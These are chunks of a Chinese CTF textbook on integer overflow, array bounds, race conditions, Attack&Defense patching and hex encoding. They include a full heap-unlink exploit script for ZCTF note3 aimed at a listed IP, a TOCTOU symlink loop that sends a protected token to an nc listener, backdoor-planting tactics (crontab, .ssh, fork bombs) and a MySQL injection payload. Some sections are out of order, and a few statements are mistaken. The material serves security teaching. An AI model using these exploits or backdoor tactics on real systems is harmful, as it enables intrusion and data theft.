    {"text": "未知 15.1 宽度溢出 整型数据在计算机中的存储是有特定格式的，一般是按字节进行存储的，不同的整型数据所需要的字节数也不同，这里说的“所需要的字节数”就是该整型数据的宽度，如果数据所要表达的值大于该宽度，则会产生宽度溢出。 整型数据存储通常包含两种模式——大端和小端。 大端存储模式是指数据的高位在前低位在后，小端存储模式是指数据的低位在前高位在后，如图15-1所示。 图15-1 大端小端存储示意图 一般情况下，整型数据大多采用小端存储模式存储。在C语言中，常用的整型数据宽度如表15-1所示。 表15-1 各数据类型的宽度 整型数据宽度溢出主要出现的情况包括整型数据运算、整型数据赋值等，将字节占用多的整型数据存储在字节占用少的整型数据中，产生宽度溢出情况的示意如图15-2所示。 图15-2 宽度溢出示意图 为了更方便地说明宽度溢出的情况，下面用一个简化版的实例来进行具体说明，代码如下： #include <stdio.h> unsigned short int part_1; unsigned short int part_2; unsigned int part_3; unsigned short int part_4; void add_test() { part_3 = part_1 + part_2; part_4 = part_1 + part_2; printf(\"part_1(%d): %llx\\n\", sizeof(part_1), part_1); printf(\"part_2(%d): %llX\\n\", sizeof(part_2), part_2); printf(\"part_3(%d): %llX\\n\", sizeof(part_3), part_3); printf(\"part_4(%d): %llX\\n\", sizeof(part_4), part_4); } int main() { part_1 = 0xFFFF; part_2 = 0x2; add_test(); } 由上述代码可知，整型数据运算过程中的数据存储示意如图15-3所示，为了方便查看，这里使用大端模式。 图15-3 数据存储示意图 在IDA中，查询part_1~part_4的内存地址，如图15-4所示。 图15-4 内存地址 将上述代码编译出的程序放入gdb中进行调试，在相加完以后下断点，内存情况如图15-5所示。 图15-5 内存实际数据 程序实际执行结果如图15-6所示。 图15-6 执行结果 可以看出，part_1+part_4的结果为0x10001，存储到只有两字节的part_4中时，前面的值会被舍弃，只留下后面两字节的数据。 未知 15.2 符号转换 符号转换主要是指有符号数与无符号数之间的转换，两者的主要区别在于最高位是否代表符号。 无符号数相对比较简单，所有位数都用来表示数据位。 有符号数最高位代表符号（0代表正数、1代表负数），且有符号数在内存中是以补码形式来存放的。具体如下： 1）数据的第一位为符号位。 2）正数的补码：与原码相同。 3）负数的补码：符号位为1，其余位为该数绝对值的原码按位取反后再加1。 下面举例说明，如图15-7所示。 图15-7 符号转换示意图 其中，对于有符号数-19088744，存储时的值为0xFEDCBA98，计算过程具体如下。 1）-19088744的绝对值为19088744，存储为00000001001000110100010101101000。 2）其中第一位舍弃不看，其余位取反为*1111110110111001011101010010111。 3）将2）中的结果+1，为*1111110110111001011101010011000。 4）将3）中的结果补上符号位1，最终结果为11111110110111001011101010011000，与图15-7中的内容一致。 有符号数若为正数，则与无符号数所表示的值是一致的；若为负数，则与无符号数所表示的数值相差很大，这也是符号转换的问题所在。 一般来说，符号转换容易在以下情况产生漏洞。 1）条件判断；将无符号数与有符号数进行强制转换后，数值相差很大，从而绕过条件判断。 2）参数传递；有些函数（尤其是系统库函数）对参数有特定的要求，但是使用时并没有严格按照参数的类型进行参数传递。 对于情况1，下面列举一个简单的例子，代码如下： void vul_func(unsigned int arg) { int tmp_v = arg; if (tmp_v > 100) { arg = 1; } else { arg = 2; } ...... } 原本考虑的是无符号数arg大于100和小于等于100这两种情况：大于100，将arg赋值为1；小于等于100，将arg赋值为2。但是在实际运行中，代码进行符号转换赋值后，将超过0x80000000的数赋值给tmp_v后，其值为负数，最终得到arg的值为2，与原本的想法不一致。 对于情况2来说，很多库函数使用不当就会出现问题，如参数为有符号数却使用无符号数作为参数，或者与之相反。"},
    {"text": "未知 15.3 数组越界 这种漏洞主要是由于检查不严格造成的，如对数组内存的索引超出了数组的预设范围，从而可以访问到其他数据。这种漏洞，在CTF赛题中出现的次数比较多。一般来说，数组越界功能相对比较强大，如果显示数组内容，可以实现信息泄露；如果可以修改数组内容，可以实现数据篡改。 数据访问的示意如图15-8所示。 图15-8 数据访问示意图 正常访问时，索引值位于预设的范围之内，但是如果判断不严格，超出了边界，就会访问到其他部分的数据，从而达到泄露信息或者修改数据的目的。 下面举个简单的例子进行说明，代码如下： #include <stdio.h> int test_func(unsigned int t_v1, unsigned int t_v2) { int i; int index0, index1, index2; int stack_val_1; int stack_val_2; int array_info[20]; for (i = 0; i < 20; i++) { array_info[i] = i; } stack_val_1 = t_v1; stack_val_2 = t_v2; scanf(\"%d %d %d\", &index0, &index1, &index2); //-1 25 29 printf(\"%x\\n\", array_info[index0]); printf(\"%x\\n\", array_info[index1]); printf(\"%x\\n\", array_info[index2]); } int main() { test_func(0xdeadbeef, 0xcafe2333); } 在这个例子中，数组array_info的范围空间大小是20，然后读取3个索引值，打印出相应的数组值，因为此处没有限制索引值的取值范围，所以可为任意值。当其不在0~19范围内时，可以打印出栈上存储的数据。测试如下。 输入： -1 25 29 结果如图15-9所示。 图15-9 运行结果 用gdb进行调试，在打印时下断点，查看内存情况，如图15-10所示。 图15-10 内存数据 由上图可见，内存中的数组是连续排放的一块内存，当输入的index未落在其申请的空间范围内时，可以访问到栈上其他部分的数据。"},
    {"text": "未知 15.4 真题解析 本节只看一道题——{ZCTF-2015}note3(PWN300)。 该题的主要问题在edit中，如图15-11所示。 图15-11 note3程序edit功能的反编译代码 输入的id经过了一系列运算。在get_long函数中，通过调用atol函数对id进行转换，当len<0时，使len=-len，这里产生了一个整型数据溢出问题，因为0x8000000000000000=-0x8000000000000000。整数型溢出关键点如图15-12所示。 图15-12 整型数据溢出关键点 0x8000000000000000的值为-1，因而导致索引为全局结构体数组中的前一个指针。其为当前的活跃指针，如图15-13所示。 图15-13 全局数组布局情况 执行edit时，id_t为-1；与其对应的长度不再是size，而是第七个堆块的指针，所以可以读很长的内容，从而覆盖后面的堆块，代码如下： get_buff_4008DD(global_content_size_6020C8[id_t], (__int64)(&global_cur_ptr_6020C0)[8 * (id_t + 8)], 10); global_cur_ptr_6020C0 = global_content_size_6020C8[id_t]; 这里可以采用unlink的方式，在内容中构造假堆块，最终改写全局指针。利用代码如下： from zio import * from pwn import * #ip = 1.192.225.129 #target = \"./note3\" target = (\"115.28.27.103\", 9003) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def new_note(io, length_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"1\") io.read_until(\"content:(less than 1024)\\n\") io.writeline(str(length_t)) io.read_until(\"content:\\n\") io.writeline(content_t) def delete_note(io, id_t): io.read_until(\"option--->>\\n\") io.writeline(\"4\") io.read_until(\"id of the note:\\n\") io.writeline(str(id_t)) def edit_note(io, id_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"3\") io.read_until(\"id of the note:\\n\") io.writeline(str(id_t)) io.read_until(\"content:\") io.writeline(content_t) def pwn(io): new_note(io, 0x80, 'aaaaaa') new_note(io, 0x80, 'bbbbbb') new_note(io, 0x80, 'cccccc') new_note(io, 0x80, 'dddddd') new_note(io, 0x80, 'eeeeee') new_note(io, 0x80, 'ffffff') new_note(io, 0x80, '/bin/sh;') target_id = 2 edit_note(io, target_id, '111111') #useful_code --- begin #prepare args arch_bytes = 8 heap_buff_size = 0x80 #node1_addr = &p0 node1_addr = 0x6020C8 + 0x08 * target_id pack_fun = l64 heap_node_size = heap_buff_size + 2 * arch_bytes #0x88 p0 = pack_fun(0x0) p1 = pack_fun(heap_buff_size + 0x01) p2 = pack_fun(node1_addr - 3 * arch_bytes) p3 = pack_fun(node1_addr - 2 * arch_bytes) #p[2]=p-3 #p[3]=p-2 #node1_addr = &node1_addr - 3 node2_pre_size = pack_fun(heap_buff_size) node2_size = pack_fun(heap_node_size) data1 = p0 + p1 + p2 + p3 + \"\".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size #useful_code --- end #edit node 1:overwrite node 1 -> overflow node 2 edit_note(io, -9223372036854775808, data1) #edit_note(io, 1, score, data1) #delete node 2, unlink node 1 -> unlink #delete_a_restaurant(io, 2) delete_note(io, target_id + 1) alarm_got = 0x0000000000602038 puts_plt = 0x0000000000400730 free_got = 0x0000000000602018 data1 = l64(0x0) + l64(alarm_got) + l64(free_got) + l64(free_got) edit_note(io, target_id, data1) data1 = l64(puts_plt)[:6] io.gdb_hint() edit_note(io, target_id, data1) #io.read_until(\"option--->>\\n\") #io.writeline(\"3\") #io.read_until(\"id of the note:\\n\") #io.writeline(l64(atol_got)) #data = io.read_until(\"\\n\") #print [c for c in data] delete_note(io, 0) data = io.read_until(\"\\n\")[:-1] print [c for c in data] alarm_addr = l64(data.ljust(8, '\\x00')) print \"alarm_addr:\", hex(alarm_addr) elf_info = ELF(\"./libc-2.19.so\") #elf_info = ELF(\"./libc.so.6\") alarm_offset = elf_info.symbols[\"alarm\"] system_offset = elf_info.symbols[\"system\"] libc_base = alarm_addr - alarm_offset system_addr = libc_base + system_offset data = l64(system_addr)[:6] edit_note(io, 1, data) delete_note(io, 6) io.interact() io = get_io(target) pwn(io) 未知 第16章 逻辑漏洞 16.1 基本概念 逻辑漏洞主要是指程序逻辑上出现的问题，例如逻辑不严密或者逻辑太复杂，从而导致一些逻辑分支不能正常处理或处理错误，通常这类漏洞多出现在Web里面或者Crypto里面，如越权访问、密码爆破等。CTF的PWN题目中涉及逻辑漏洞的概率较小，一方面构造新的逻辑漏洞难度较大，另外这个漏洞很少作为PWN题的主干部分。本章将主要介绍逻辑漏洞中“有套路”的竞态条件漏洞。"},
    {"text": "未知 16.2 竞态条件漏洞 竞态条件（Race Condition）漏洞是指多任务（多进程、多线程等）对同一资源进行访问时，因访问资源的先后顺序不同产生冲突的情况。通过竞态条件漏洞，可以实现越权访问、资源篡改等操作。 下面用一个简单的例子来说明竞态条件漏洞，代码如下： #include <stdio.h> #include <pthread.h> int resource = 0; void *main_logic() { if (resource == 0) { printf(\"logic 0\\n\"); } sleep(2); if (resource == 1) { printf(\"logic 1\\n\"); } } void *set_resource() { sleep(1); resource = 1; } #define THREAD_COUNT 2 int main() { pthread_t thread[THREAD_COUNT]; int i; pthread_create(&thread[0], NULL, (void *)set_resource,NULL); pthread_create(&thread[1], NULL, (void *)main_logic,NULL); for (i = 0; i < THREAD_COUNT; i++) pthread_join(thread[i],NULL); return 0; } 执行结果如图16-1所示。 图16-1 执行结果 该示例中运行了两个线程，主功能线程main_logic根据resource的值来执行不同的逻辑，而set_resource函数线程则用来设置resource的值，在main_logic函数的执行过程中，线程set_resource也得到了运行，从而使得main_logic的两个条件都得到了满足。 条件竞争中一种很常见的漏洞是TOCTTOU或称TOCTOU（time-of-check-to-time-of-use），该漏洞主要是由于检查和使用的时间不一致导致的，如对某个资源的权限/状态进行查询和对数据进行使用时，由于发生了其他事件而导致前面的权限/状态发生了改变，从而使得最终的使用绕过了权限/状态的检查。 简单的示例代码如下： if (access(\"file\", W_OK) != 0) { exit(1); } fd = open(\"file\", O_WRONLY); write(fd, buffer, sizeof(buffer)); 调用access检查“file”的权限，然后调用open来打开“file”，并进行写操作，然而access和open两个函数调用并非为一个原子操作，所以在这两者之间很有可能发生其他操作，如将“file”改成其他的内容，那么最终达到的效果就是能对其他不具有写权限的文件写入数据。也就是说，在access调用之后open调用之前，另外一个进程如果执行“symlink（\"/etc/passwd\",\"file\"）”;那么后续open打开的实际上就是“/etc/passwd”了，如果程序权限较高的话，就可以对该文件进行数据修改。 未知 16.3 真题解析 以下题目摘自{exploit-exercises}nebula level10。 实例分析nebula level10，代码如下： #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf(\"%s file host\\n\\tsends file to host if you have access to it\\n\", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf(\"Connecting to %s:18211 .. \", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf(\"Unable to connect to host %s\\n\", host); exit(EXIT_FAILURE); } #define HITHERE \".oO Oo.\\n\" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf(\"Unable to write banner to host %s\\n\", host); exit(EXIT_FAILURE); } #undef HITHERE printf(\"Connected!\\nSending file .. \"); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf(\"Damn. Unable to open file\\n\"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf(\"Unable to read from file: %s\\n\", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf(\"wrote file!\\n\"); } else { printf(\"You don't have access to %s\\n\", file); } } 对上述代码所示解法分析如下。 1）判断access函数的动作与open函数的打开动作之间不是原子操作，两者存在一个时间差，如果在此时改变文件，那么就会绕过access的检查。 2）不断地对两个文件进行软连接，其中，一个是自己的文件“./token_fake”，可读可写；一个是flag文件“../flag10/token”，只允许特定用户读取。通过循环，不断建立连接，以产生上述绕过检查的机会。 命令： while true; do ln -fs token_fake token_use; ln -fs ../flag10/token token_use; done 3）然后不断运行如下程序： ../flag10/flag10 while true; do ../flag10/flag10 token_use target_ip; done 4）最后在该target_ip上的18211端口进行监听即可收到flag。 while true; do nc -l -p 18211; done"},
    {"text": "未知 第17章 Attack&Defense模式 对于现在出现的诸多CTF线下赛模式来说，Attack&Defense模式又称A&D模式（攻防模式），是最原始也是最正宗的CTF攻防竞赛模式。其由Defcon推广至国内，最早由蓝莲花战队的BCTF2014呈现。后期出现了诸多变种，但是综合来说，Attack&Defense模式是最公平、公正，也是最具有挑战性的CTF线下赛模式。本章将主要介绍攻防模式下的一些策略和修补方案。 未知 17.1 修补方案 在攻防模式下，漏洞修补是尤为重要的，这里会以一些常见漏洞类型不同的Patch应对方法来进行介绍。在Patch的过程中，我们通常会使用IDA的keypatch插件（ http://www.keystone-engine.org/keypatch/ ）作为修补工具，其提供了Patcher、Fill Range和Search三个功能帮助我们打补丁。 未知 17.1.1 大小修改法 在一些栈溢出或者堆溢出的特殊场景中，我们可以通过修改分配、读取、复制的内存大小来防止缓冲区溢出造成的破坏。缓冲区程序的反编译代码如图17-1所示。 图17-1 缓冲区程序的反编译代码 如图17-1所示，此时“read(0,&buf,100);”处存在明显的栈溢出，我们可以通过修改read的大小来修补栈溢出漏洞。从代码中我们可以看出，当读入的数据大于0x14时，可能会覆盖ebp，所以我们将read大小修改为小于0x14即可。IDA Patch功能的选项如图17-2所示。 图17-2 IDA Patch功能的选项 依次选择Edit→Plugins→Keypatch Patcher，如图17-3所示，将0x64修改为0x10。 图17-3 Patcher参数设置 点击Patch按钮，然后依次选择Edit→Patch program→Apple patches to input file，保存为二进制文件即可。 未知 2.7 limit之后的注入 研究发现，在MySQL版本号大于5.0.0且小于5.6.6的时候，在如下位置中可以进行注入： SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT {injection_point} 也可以使用如下的Payload进行注入： SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 未知 17.1.2 函数替换法 对于一些特殊的漏洞，比如格式化字符串漏洞，我们可以将printf函数替换为puts函数，不过这种方法通常要求程序本身带有能替换的函数。以图17-4所示的反编译代码为例。 图17-4 程序主逻辑的反编译代码 如图17-4所示，此时do-fmt()函数的printf是一个明显的格式化字符漏洞，在play函数里存在对puts函数的调用，因此，这里可以将printf替换为puts函数，具体步骤如下。 1）确定计算方法：新地址=目标地址（这里就是puts的plt地址）-当前被修改指令的下一指令地址。 2）获取puts的plt地址，该地址为0x80483B0，如图17-5所示。 图17-5 puts的plt地址 3）确定被修改指令的下一指令地址为0x8048540，如图17-6所示。 图17-6 修改位置的反汇编代码 4）计算出结果，并进行补码运算，如下： >>> hex(0xffffffff+(0x80483B0-0x8048540)+1) '0xfffffe70' 5）修改并保存：E860 FE FF->E870 FE FF，如图17-7所示。 图17-7 Patch Byte的设置 结果展示如图17-8所示。 图17-8 patch后的反编译代码 6）依次选择Edit→Patch program→Apply patches to input file，保存到二进制文件。 未知 17.1.3 .eh_frame段Patch法 首先，在“.eh_frame”段写上相应的Patch代码，然后jmp到相应位置，最后再jmp到原处继续之后的逻辑，如图17-9所示。 图17-9 漏洞点的关键代码 如图17-9所示，第14行可能存在uaf风险，需要将释放后的指针置为0，可在.eh_frame段中将指针设为0，此时free的对象为[rdx+rax]，并将该对象赋给rdi。在执行Patch的时候，仍需要保证不影响free的对象。因此在.eh_frame中编写的代码如图17-10所示。 图17-10 Patch的主要代码 将原有指针清零，最后再jmp回原逻辑。 未知 17.1.4 其他方法 通常而言，我们除了可以利用IDA Keypatch手动进行漏洞修补之外，还可以利用一些已有的半自动化工具进行Patch操作，如lief（ https://github.com/lief-project/LIEF ）或patchkit（ https://github.com/lunixbochs/patchkit ）等。"},
    {"text": "未知 17.2 攻防策略 1.服务上下线策略 很多人在看到自己的服务被打宕之后就下线，防止被植入后门不好维护，但是这种处理方式其实是错误的，需要根据具体情况来进行防守。 如果在赛场上，某道题目只有自己一支战队（或只有较少战队）的flag被拿走提交，特别是在自己战队排名靠前的情况下，此时可以选择将服务下线（也就是将二进制服务删除掉），这样做可以达到两个目的：减少被植入的后门，减少修补漏洞后的后门清理工作；在不宕掉服务的情况下丢失的分数会被排名靠前的战队独享，但是服务宕掉后，可以将分数均摊给其他战队，缩小与前面战队的分数差。 如果大面积出现服务宕掉的情况，那么在保证自己的服务不会被打宕的情况下，可以选择将服务上线，让前面的人拿自己的分数，同时自己也可以获得很多别人宕掉服务的分数。 如果想要拿到exp流量或者提示流量也应该将服务上线。 2.后门植入策略 后门大概可分为两种。一种是持久性后门，通过crontab、at等各种方式来起后门，或者直接写“.ssh”。此类后门可能是直接将提交的脚本都写进去，也就是说在流量里你甚至都看不到flag丢失的流量。 另外一种后门是破坏性后门，通过kill all指令，或者直接通过fork bang来使gamebox的服务宕掉，所以此时会出现在拿flag的同时服务也宕掉的情况。 3.后门清理策略 后门清理可以分成几种方式。如果是Web题目，要在题目权限和CTF权限上清理后门。二进制题目的后门清理方法大都具有一定的套路，su到题目权限上，然后直接kill all即可。在清理后门和进程后要注意清理crontab和at等位置。 4.流量策略 通常来说，选手会拿到两种流量。一种是别的队伍攻击你的流量，另外一种是在大家都做不出题目的时候，主办方进行进攻发送的提示流量。 流量是非常重要的信息。通过定位丢失flag的流量可以快速发现别的队伍的exp。所以现在很多队伍会对流量进行混淆操作，让其他队伍难以从流量中复现exp。分析完流量后可以进行二进制文件的修补，并复现exp。这个速度也是值得锻炼的，特别是在中层徘徊的队伍，大部分的exp靠复现，大部分的Patch靠流量。 还有一种情况刚才也提到了，在流量中你会发现没有flag丢失的流量，但是自己的flag却被提交了，这很可能是因为有后门（需要通过直接在gamebox上提交flag达到隐蔽的目的）。此时需要通过后门清理的方式来解决此类问题。 5.强弱者策略 二进制漏洞的挖掘和利用的速度直接决定了一个战队在A&D模式中的强弱。弱队在觉得自己不能拿到分数的情况下，应该紧盯强队的动作，在攻击动作完成的2～3轮内完成Patch操作，在4～5轮内完成复现，这个速度越快你的排名就越靠前。所以这也决定了除了前2～3名之外，其他队伍的游戏模式会发生根本上的变化，从漏洞挖掘变成了流量分析。 上述工作中很多都可以通过脚本自动化完成。总结来说，有如下几个可以自动化实现的点。 1）流量抓取和分析：很多强队都用自己的服务来进行流量分析、定位flag等，这在现场会节约很多时间。 2）后门和管理：在赛前可以准备很多后门方便后续使用。 3）exp管理：实现exp的自动化，节约从exp到批量脚本的时间；同时应尽可能实现混淆。 相关知识链接推荐 与PWN相关的学习资料列举如下，读者可自行阅读。 ·漏洞学习系列实验： http://security.cs.rpi.edu/courses/binexp-spring2015/ 。 ·Ctfwiki，CTF技能百科全书： https://wiki.x10sec.org/ 。 ·各种堆漏洞利用示例： https://github.com/shellphish/how2heap 。 ·堆漏洞利用技巧： https://www.contextis.com//documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 。 ·掘金CTF——CTF中的内存漏洞利用技巧（杨坤）： http://netsec.ccert.edu.cn/wp-content/uploads/2015/10/2015-1029-yangkun-Gold-Mining-CTF.pdf 。 PWN的练习平台推荐如下，读者可根据自己的情况进行选择。 ·Linux系统熟练练习（初级）： https://exploit-exercises.com/ 。 ·CTF赛题真题在线练习（初级——进阶——中级）：jarvisoj。 ·CTF赛题真题练习（中级——进阶——高级）：国际赛题writeup。 ·其他（高级）： · http://pwnable.kr/ 。 · https://pwnable.tw/ 。 · https://ringzer0team.com/ 。 未知 本篇小结 与PWN相关的知识点比较繁杂，需要读者多动手、多实践。本篇针对的主要是小白级读者，所以介绍的内容比较粗浅，很多知识点到为止，需要读者根据自身情况去拓展。 另外，由于本篇撰写得较早，而漏洞利用技术更新迭代非常快，很多内容利用技巧和方法可能已经不适用于现有的保护机制或者很少出现在现有的CTF赛题中，但对于漏洞挖掘和利用技术来说，很多基础的东西是需要具备的，学习和分析的方法也是可以借鉴的，另外利用技术演变的过程是值得进行对比分析和研究的。 对PWN的学习，需要多动手调试，这样才能更直观地知道发生了什么以及为什么会这样，当具备了一定基础后，读者可以结合glibc源码来对堆相关的知识点进行验证和深入分析，平时多关注该领域知名人士的博客、多阅读漏洞利用相关的文章，紧跟漏洞挖掘和利用技术的发展潮流，逐步把自己磨炼成为技术牛人。"},
    {"text": "未知 第四篇 CTF之Crypto 本篇主要讲解CTF中Crypto类型的题目涉及的知识和例题，主要从基础、编码、古典密码、现代密码以及真题解析几个方向进行叙述。其中基础部分讲解Crypto题目的内容和考点相关的知识，编码部分介绍各类常见密码和编解码方法，古典密码部分介绍替代密码和移位密码，现代密码部分介绍分组密码、序列密码、公钥、哈希，真题解析部分将介绍几道综合型Crypto题目。 未知 第18章 Crypto概述 纯粹密码学的考题，在CTF中被称为Crypto类型的题目，有时被归于MISC的一种，常见于线上赛，难度较高。线下赛中也会出现一些Crypto类型的题目，只是通常不会单独出现，而是结合PWN或者Web进行密码学算法的考察，此时不能称之为Crypto类型题目，但是知识点是共通的。从目前国内赛和国际赛的趋势来看，密码学类型的题目开始趋向于与PWN类型、Reverse类型的题目相结合，题目也趋向于前沿化、论文化。 与其他类型的题目相比，Crypto类型的题目对参赛者的数学功底要求很高，在很大程度上密码学的难点都是数学问题。想要成为一个合格的Crypto选手，扎实的数学功底是必须的，特别是数论的内容一定要掌握透彻。除了数学功底之外，Crypto选手还应该锻炼如下几种能力。 1）识别能力：能够识别出题目中使用的密码算法或编码算法。 2）攻击能力：能够结合题目环境设置联想到针对特定算法的攻击方法。 3）分析能力：能够针对未知算法进行人工分析。 4）编程能力：能够编程实现破解该算法的程序，并对自己编写的程序的算法复杂度与运行时间有着清醒的认识。 5）学习能力：能够快速理解最新文献中的密码学攻击方法并加以实现。 6）跨领域能力：能够掌握Reverse、PWN、Web等其他领域的基本知识（因为现在Crypto与多领域结合的题目较多）。 多数情况下，不能正确解开Crypto类型题目的原因有两种：不知道该算法的破解方法；不能在有限的时间内解开该题目。 如果是第一种原因，就需要参赛者针对常见的密码学算法及其攻击方式进行研究和学习。在实际的CTF比赛中，经常使用的密码学算法类型少之又少，比起复杂多样的Web和PWN类型的题目，Crypto可谓清爽简洁。所以，虽然不能要求你了解所有的密码学算法及其攻击方法，但是常见的密码学算法及其攻击类型都应该学习一下。好的比赛中会有一些源自最新论文的密码学题目，此类题目往往具有很高的区分度，需要选手能够找到题目对应的论文出处，并对论文中提出的方法加以实现。 如果是因为第二种原因，则可以直接认为是破解方法不对。出题者在出密码学题目的时候，考虑到比赛的时间有限，通常会保证题目能在几分钟之内破解完成。但是，如果与同伴对算法经过仔细辩论之后还是认为需要使用这种爆破的思路去解题，那么就需要利用编程和高性能计算机去弥补时间过长的问题。 在Crypto方面有潜力的人可以分成两种：一种是数学专业的学生，他们有着很好的理论基础，对数论知识的分析能力极强，需要锻炼自己的编程能力，将理论知识转换成应用能力；另一种是编程能力较强的选手，特别擅长数据处理和并行计算等，他们要适当学习一些数学基础类课程和密码学课程，特别是要对数论等方面的知识进行深度学习，假以时日，必定能够成为优秀的CTF选手。 密码学可分为古典密码学和现代密码学。古典密码学主要由单表替代、多表替代等加密方法组成，现代密码学则主要包含对称加密、非对称加密、哈希、数字签名等内容。一般来说，密码学的攻击分为： 1）唯密文攻击：攻击者只拥有密文。 2）已知明文攻击：攻击者拥有一些与密文对应的明文。 3）选择明文攻击：攻击者可以进行加密，能够获取指定明文加密后的密文。 4）选择密文攻击：攻击者可以进行解密，能够获取指定密文解密后的明文。 未知 第19章 编码 编码（encode）的目的不是为了让别人看到后解不出来，而是代表信息的另外一种表达方式。将原始信息转化为编码信息进行传输，可以解决一些特殊字符、不可见字符的传输问题。接收者将编码信息再转化成原始信息，转化的过程称之为解码（decode）。 在CTF中，编码的用处不仅仅是单独出题，很多情况下其也会作为题目的一部分，掌握各类编码的转化技巧是学习密码学的基础。"},
    {"text": "未知 19.1 hex 传输的信息多种多样，有的字符可见，有的字符不可见，有的喜欢用中文，有的喜欢用英文，为了使信息传输过程更为规范，可以在传输之前将所有信息编码为十六进制的hex，在传输完成后再解码为原始信息。 hex是最常用的编码方式之一，这一点非常容易理解，就是将信息转化为十六进制。要进行各类编码的转化，或者是要将信息在计算机存储中最为本质的一面表现出来的时候，都可以使用hex编码方式。 使用Python进行hex的变换，代码如下： s=\"flag\" print s.encode(\"hex\") 结果如下： 666c6167 通过encode可以对一个字符串进行编码，这里使用的是hex，结果非常容易理解，就是每个字符的ASCII码的十六进制。 首先需要明确一个事实，那就是密码学中的大部分操作都是进行数学计算的过程。我们无法直接对字符串进行数学计算，所以需要将字符串转换为数字。可以通过hex编码的方式进行转换，将原始的字符串转化为十六进制字符的拼接后，再进行进一步的数学计算。Python实现代码如下： s=\"flag\" t=s.encode(\"hex\") print int(t,16) 结果如下： 1718378855 在s被hex编码时，可以利用int函数直接将hex编码后的字符串转换为对应的十进制数字，这样就可以进行数学运算。上述过程是将字符串转化成十进制数字的最好方法。对于单字符来说，还有更简单的方法，那就是ord函数，代码如下： print int(\"a\".encode(\"hex\"),16) print ord(\"a\") 结果如下： 97 97 当解密运算结束后，需要将数字转化成字符串，代码如下： num=584734024210391580014049650557280915516226103165 print hex(num) print hex(num)[2:-1] print hex(num)[2:-1].decode(\"hex\") 结果如下： 0x666c61677b746869735f69735f615f666c61677dL 666c61677b746869735f69735f615f666c61677d flag{this_is_a_flag} 使用hex函数可以将十进制数字转化成十六进制字符串，并且会自动补“0x”。如果是long型，则末尾会自动补“L”，所以对于第二个print，我们将“0x”和“L”去掉之后，得到了原字符串的hex编码，最后decode即可。但是，这并不适用于所有的情况，一是因为并不是所有的数字在hex之后都会补“L”；二是因为decode必须要保证hex编码的字符串是偶数位，如果是奇数位，则要在前面补“0”。所以，我们可以自己写一个函数来处理这些问题，代码如下： def num2str(num): tmp=hex(num)[2:].replace(\"L\",\"\") if len(tmp) % 2 == 0: return tmp.decode(\"hex\") else: return (\"0\"+tmp).decode(\"hex\") print num2str(584734024210391580014049650557280915516226103165) 结果如下： flag{this_is_a_flag} num2str函数的第一行做了三件事情：首先将num数字进行了hex操作，然后去掉了前面的“0x”，最后利用replace过滤了最后的“L”。后面四行其实只做了一件事情，即根据hex字符串的长度来判断是否需要在最前面补“0”。 综合来说，掌握上面的几个技巧就可以应对绝大多数需要用到hex的情况。在很多题目中，hex并不会被作为考点，因为比较简单，但是将其用于数据处理确是很常见的。上述方法只是为了方便读者理解原理，在实际的解题过程中，可以通过PyCrypto库进行更为方便的转换，示例代码如下： from Crypto.Util.number import long_to_bytes,bytes_to_long flag=\"flag{123}\" print bytes_to_long(flag) print long_to_bytes(bytes_to_long(flag)) 结果如下： 1889377532526015427453 flag{123}"},
    {"text": "未知 2.8 注入点的位置及发现 前面我们介绍了多种注入方式及利用方式，下面继续介绍注入点的位置及注入点的发现方法。 1.常见的注入点位置 在CTF中，我们遇到的不一定是注入点是表单中username字段的情况，有时候注入点会隐藏在不同的地方，下面我们就来介绍几个常见的注入点的位置。 （1）GET参数中的注入 GET中的注入点一般最容易发现，因为我们可以在地址栏获得URL和参数等，可以用Sqlmap或者手工验证是否存在注入。 （2）POST中的注入 POST中的注入点一般需要我们通过抓包操作来发现，如使用Burp或者浏览器插件Hackbar来发送POST包。同样，也可以使用Sqlmap或者手工验证。 （3）User-Agent中的注入 在希望发现User-Agent中的注入时，笔者在这里推荐大家使用Burp的Repeater模块，或者Sqlmap。将Sqlmap的参数设置为level=3，这样Sqlmap会自动检测User-Agent中是否存在注入。 （4）Cookies中的注入 想要发现Cookies中的注入，笔者同样推荐大家使用Burp的Repeater模块。当然，在Sqlmap中，我们也可以设置参数为level=2，这样Sqlmap就会自动检测Cookies中是否存在注入了。 2.判断注入点是否存在 接下来就要确定注入点的位置。在判断输入点是否存在注入时，可以先假设原程序执行的SQL语句，如： SELECT UserName FROM User WHERE id = '$id'; // 参数为字符串 或 SELECT UserName FROM User WHERE id = $id; // 参数为数字 然后通过以下几种方法进行判断： （1）插入单引号 插入单引号是我们最常使用的检测方法，原理在于未闭合的单引号会引起SQL语句单引号未闭合的错误。 （2）数字型判断 通过and 1=1（数字型）和闭合单引号测试语句'and'1'='1（字符串型）进行判断，这里采用Payload'1'='1的目的是为了闭合原语句后方的单引号。 （3）通过数字的加减进行判断 比如，我们在遇到的题目中抓到了链接 http://example.com/?id=2 ，就可以进行如下的尝试 http://example.com/?id=3-1 ，如果结果与 http://example.com/?id=2 相同，则证明id这个输入点可能存在SQL注入漏洞。 未知 19.2 urlencode 